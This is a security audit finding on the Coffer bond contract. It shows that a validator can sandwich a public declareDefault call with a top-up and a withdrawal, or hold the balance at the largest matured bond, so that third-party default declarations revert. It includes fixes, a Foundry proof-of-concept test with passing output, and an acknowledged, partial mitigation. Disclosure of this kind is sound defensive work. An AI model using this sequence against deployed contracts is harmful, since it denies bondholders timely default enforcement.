The validator can void a third party's default declaration without paying
declareDefault is permissionless, and its NatSpec says the only useful front-run is one that pays the holder; the README likewise says preventing a default requires payment.
Affected files
Description
declareDefault is permissionless, and its NatSpec says the only useful front-run is one that pays the holder; the README likewise says preventing a default requires payment.
_declareDefault instead decides from the instantaneous balance of the named bond alone. The validator can sandwich a public declaration: send the bond's maturity value through receive() just before it and withdraw the same value through validatorWithdrawFromExecution just after. receive() raises issueSize, so the withdrawal stays within bounds. The declaration reverts, nobody is paid, no default stands, and this repeats.
A second route needs no ordering. The README states the duty as the sum of all matured, unpaid bonds, but the check is per bond: with two or more matured bonds whose holders do not act, a balance equal to the largest one makes every third-party declaration revert.
The matured holder's own holderRedeemBondOrDefault is not affected: it pays that holder or declares the default atomically.
Impact: Other holders and keepers can lose timely permissionless default enforcement, acceleration, and validator exit while the validator sandwiches public declarations or holds the balance at the largest matured bond; the matured holder or a privately ordered declaration can still end the delay, so no direct loss is established.
Recommendations
When a covered declareDefault call arrives, reserve the named bond's maturity value instead of reverting. Track the reservation per bond and in an aggregate, and require validatorWithdrawFromExecution to leave the aggregate in the Coffer.
Keep a per-bond reservation and an aggregate. Release a bond's reservation, by subtracting exactly that bond's amount and deleting its entry, on every path that deletes or re-keys the bond's record, in either state (full settlement, validatorRedeemBonds, and any partial-claim path that re-issues the bond), and do so before any external call. Never reset the aggregate in bulk. Outside a default, test coverage and bound withdrawals against the balance minus other bonds' reservations; while defaulted, ignore reservations so claims keep paying the smaller of the balance and the remaining value. If another bond is genuinely uncovered after existing reservations are excluded, enter global default. clearDefault can additionally require the aggregate to be zero. This changes a covered declaration from a revert into a successful reservation and adds storage writes; tests that assert the old revert or top-up/re-extract behavior must be updated.
The reservation also closes the second route: a reserved bond is covered, so the next matured bond becomes declarable against the remaining balance.
If transient coverage and per-bond coverage are intended, instead correct the NatSpec and README to state that only holderRedeemBondOrDefault is ordering-safe, that third-party declarations require private ordering, and that a third party can declare a default only when a single matured bond exceeds the contract balance.
Proof of Concept
Add to test/unit/, run forge build once (the BaseTest fixture loads the DepositContract mock from its build artifact), then forge test --match-path test/unit/ThirdPartyDefaultDodged.t.sol -vv.
// SPDX-License-Identifier: BUSL-1.1pragma solidity 0.8.34;import {BaseTest} from "./BaseTest.sol";import {Coffer} from "../../src/Coffer.sol";contract ThirdPartyDefaultDodged is BaseTest {function setUp() public override {super.setUp();coffer = Coffer(payable(createDefaultCoffer()));}function test_validatorVoidsThirdPartyDeclarationWithoutPaying() public {(,,,,, uint32 version,,,,) = coffer.sValidatorConditions();uint256 matured = buyBond(address(coffer), holder1, 5 ether, defaultMinDuration, version); // holder1 inactiveuint256 other = buyBond(address(coffer), holder2, 5 ether, defaultMaxDuration, version); // holder2 enforcesadvanceTime(defaultMinDuration);(uint128 mv,,) = coffer.sHolderConditions(matured);assertEq(address(coffer).balance, 0, "matured bond is unfunded");uint256 validatorBefore = validator.balance;// Same block: the validator tops up just before holder2's declaration...vm.prank(validator);(bool ok,) = address(coffer).call{value: mv}("");assertTrue(ok);vm.prank(holder2);vm.expectRevert(Coffer.ValidatorNotDefaultable.selector);coffer.declareDefault(matured);// ...and takes the same ETH back right after it.vm.prank(validator);coffer.validatorWithdrawFromExecution(mv);(,,,,,,,,, bool defaulted) = coffer.sValidatorConditions();assertEq(validator.balance, validatorBefore, "validator paid nothing");assertEq(address(coffer).balance, 0, "matured bond unfunded again");assertFalse(defaulted, "no default stands");(uint128 stillOwed,,) = coffer.sHolderConditions(matured);assertEq(stillOwed, mv, "matured bond still unpaid");// holder2 cannot accelerate its bond or force the exit; the validator can keep extracting.vm.prank(holder2);vm.expectRevert(Coffer.ValidatorNotInDefault.selector);coffer.holderRedeemBondInDefault(other);}/// Control: without the validator's top-up/withdraw around it, the same declaration lands.function test_control_declarationLands() public {(,,,,, uint32 version,,,,) = coffer.sValidatorConditions();uint256 matured = buyBond(address(coffer), holder1, 5 ether, defaultMinDuration, version);buyBond(address(coffer), holder2, 5 ether, defaultMaxDuration, version);advanceTime(defaultMinDuration);vm.prank(holder2);coffer.declareDefault(matured);(,,,,,,,,, bool defaulted) = coffer.sValidatorConditions();assertTrue(defaulted);}/// Second route: with two matured bonds whose holders do not act, a balance equal to the larger/// one blocks every third-party declaration, with no transaction ordering.function test_balanceEqualToLargestMaturedBondBlocksThirdPartyDefault() public {(,,,,, uint32 version,,,,) = coffer.sValidatorConditions();uint256 x = buyBond(address(coffer), holder1, 5 ether, defaultMinDuration, version); // passiveuint256 y = buyBond(address(coffer), holder2, 5 ether, defaultMinDuration, version); // passiveuint256 z = buyBond(address(coffer), holder3, 5 ether, defaultMaxDuration, version); // enforcesadvanceTime(defaultMinDuration);(uint128 mvX,,) = coffer.sHolderConditions(x);(uint128 mvY,,) = coffer.sHolderConditions(y);vm.prank(validator);(bool ok,) = address(coffer).call{value: mvX}("");assertTrue(ok);assertLt(address(coffer).balance, uint256(mvX) + mvY, "matured debt not covered");for (uint256 week = 0; week < 6; ++week) {vm.prank(holder3);vm.expectRevert(Coffer.ValidatorNotDefaultable.selector);coffer.declareDefault(x);vm.prank(holder3);vm.expectRevert(Coffer.ValidatorNotDefaultable.selector);coffer.declareDefault(y);vm.prank(holder3);vm.expectRevert(Coffer.ValidatorNotInDefault.selector);coffer.holderRedeemBondInDefault(z);advanceTime(1 weeks);}(,,,,,,,,, bool defaulted) = coffer.sValidatorConditions();assertFalse(defaulted, "six weeks later, still no default");}}
Output at 793f6a7:
[PASS] test_balanceEqualToLargestMaturedBondBlocksThirdPartyDefault() (gas: 571602)
[PASS] test_control_declarationLands() (gas: 378593)
[PASS] test_validatorVoidsThirdPartyDeclarationWithoutPaying() (gas: 409627)
Mitigation
Acknowledged. Commit 2f4ecd9 documents that holderRedeemBondOrDefault is the ordering-safe path and that a third-party declareDefault should use private ordering. The contract does not reserve the named bond during a declaration, so the public third-party path remains front-runnable by a top-up and withdrawal.
Report provenance
Source: the corrected final report dated 22 October 2026. Final status and residual conditions are preserved in this write-up. Read the full report.